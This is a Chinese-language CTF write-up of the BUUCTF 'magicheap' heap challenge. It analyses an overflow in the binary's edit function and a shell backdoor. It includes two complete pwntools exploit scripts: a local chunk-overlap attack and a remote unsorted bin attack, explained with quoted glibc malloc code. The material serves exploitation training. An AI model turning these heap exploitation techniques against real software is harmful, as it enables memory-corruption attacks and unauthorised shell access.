write up -- Buu magicheap

简介

buu上的题,着重练习一下堆的解题思路。

write up -- Buu magicheap

附件是64位小端的可执行程序

我们直接ida分析一下吧

write up -- Buu magicheap
write up -- Buu magicheap
这个就是main函数的具体的逻辑是个很明显的菜单题目,一般先看申请堆块的选项,再看free堆块的选项。

我们先来看看申请堆块的选项create_heap()

write up -- Buu magicheap

可以看到除了没有限制申请堆块的大小外其他的还是比较合理的。

我们再来看看free堆块的选项delete_heap()
write up -- Buu magicheap
可以清楚的看到该函数将空间释放掉后,将指针也销毁了,也就是说这里没有漏洞可以利用了。

那我们就只能再找一找看看还有没有其他的漏洞,那只剩下编辑功能的选项了edit_heap()

write up -- Buu magicheap

可以看到我们可以自己输入要写入chunk中的数据的大小,那这就出事了呀,这样我们就可以去覆盖其他chunk的size位,就可以实现Overlapping。

除了这个漏洞外我还发现了这个程序竟然还有后门

write up -- Buu magicheap
说实话这在堆题中是及其不常见的,而且后门函数在main函数中也有用到。

write up -- Buu magicheap
可以看到虽然main函数中也有用到后门函数,但是是有条件的,我们的输入要是4869而且magic要大于0x1305,magic是bss段上的一块空间

write up -- Buu magicheap
那这样程序的基本逻辑和漏洞点基本上都分析完了,接下来就是构建攻击的思路了。

攻击思路

首先我们可以构造重叠的堆块,将magic写入unsorted bin的fd指针里,然后通过再次的申请,申请到magic这一块空间,然后向这一片空间中写入一个大于0x1305的值,这样我们在输入4869就可以直接得到shell了。

write up -- Buu magicheap
我们申请完chunk1后就直接free掉,然后利用edit里存在的漏洞,将chunk1中的数据修改一下,这样bss段里的magic就被我们写入了chunk1的fd指针中。

这样申请两次0x90大小的空间就可以申请到以magic为首部的堆块,向这个堆块的首部写入一个大于0x1305的值即可达到目标。

打本地的exp

from pwn import*

io = process("./magicheap")

#io = remote("node4.buuoj.cn", 29376)*

context.arch = "amd64"

context.log_level = "debug"

bss_data_addr = 0x00000000006020A0

def add(size, content):

  io.recvuntil("choice :")

  io.sendline("1")

  io.recvuntil("Heap : ")

  io.sendline(str(size))

  io.recvuntil("heap:")

  io.sendline(content)


def edit(index, content):

  io.recvuntil("choice :")

  io.sendline("2")

  io.recvuntil("Index :")

  io.sendline(str(index))

  io.recvuntil("Heap : ")

  io.sendline(str(len(content)))

  io.recvuntil("heap : ")

  io.sendline(content)



def delete(index):

  io.recvuntil("choice :")

  io.sendline("3")

  io.recvuntil("Index :")

  io.sendline(str(index))

    
add(0x30, "aaaa")  *# chunk0*

add(0x90, "bbbb")  *# chunk1*

add(0x10, "cccc")  *# chunk2*

delete(1)

edit(0, p64(0)*6+p64(0x40)+p64(0xa1)+p64(bss_data_addr))

add(0x90, "aaaa")

add(0x90, "dddd")

io.sendlineafter(":", "4869")

io.interactive()

问题

以上的exp是我进行分析调试写出来的,但是我是根据本地环境调试写的,所以可以打通本地,在我打远程的时候出现了问题,发现在本地可以跑通的脚本在远程竟然跑不通。

本地:
write up -- Buu magicheap
远程:
write up -- Buu magicheap

解决

经过一下午的学习和调试,终于给这一题整明白了,这一题打远程用的漏洞叫做unsorted bin attack,这也是与glibc的堆管理机制的unsorted bin密切相关的。

Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。

Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。

攻击的过程

write up -- Buu magicheap
初始状态时

unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。

执行 free(p)

由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。

修改 p[1]

经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。

重新申请这一片chunk

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然,bck被修改,并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

上面我们只看 bck == unsorted_chunks(av)这一个判断就可以得出条件为否,将会执行最后两段代码,就是这两段代码将bck的fd指针指向了一个极大的值

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

经过unsorted bin attack攻击,我们就可以将magic改为一个极大的值,这样就可以不考虑这一个判断( if ( (unsigned __int64)magic <= 0x1305 ))从而直接输入4869得到shell。

这种方法之所以远程可以打得通就是因为远程的libc环境是2.23,而我本地的环境是2.27,具有Tcache机制使得我是释放的chunk会被放入Tcache中而不是unsorted bin中,这样就无法触发unsorted bin的机制,从而无法进行攻击,从而拿不到shell。

打远程的exp

from pwn import*
#io = process("./magicheap")
io = remote("node4.buuoj.cn", 27434)
context.arch = "amd64"
context.log_level = "debug"

bss_data_addr = 0x00000000006020A0


def add(size, content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil("Heap : ")
    io.sendline(str(size))
    io.recvuntil("heap:")
    io.sendline(content)

def edit(index, content):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Heap : ")
    io.sendline(str(len(content)))
    io.recvuntil("heap : ")
    io.sendline(content)


def delete(index):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))


add(0x30, "aaaa")  # chunk0
add(0x90, "bbbb")  # chunk1
add(0x10, "cccc")  # chunk2
delete(1)

edit(0, p64(0)*6+p64(0x40)+p64(0xa1)+p64(0)+p64(bss_data_addr-0x10))
add(0x90, "1")

io.sendlineafter(":", "4869")
io.interactive()
上一篇:第八章 Node_Exporter脚本安装


下一篇:线性变换+DFT+滤波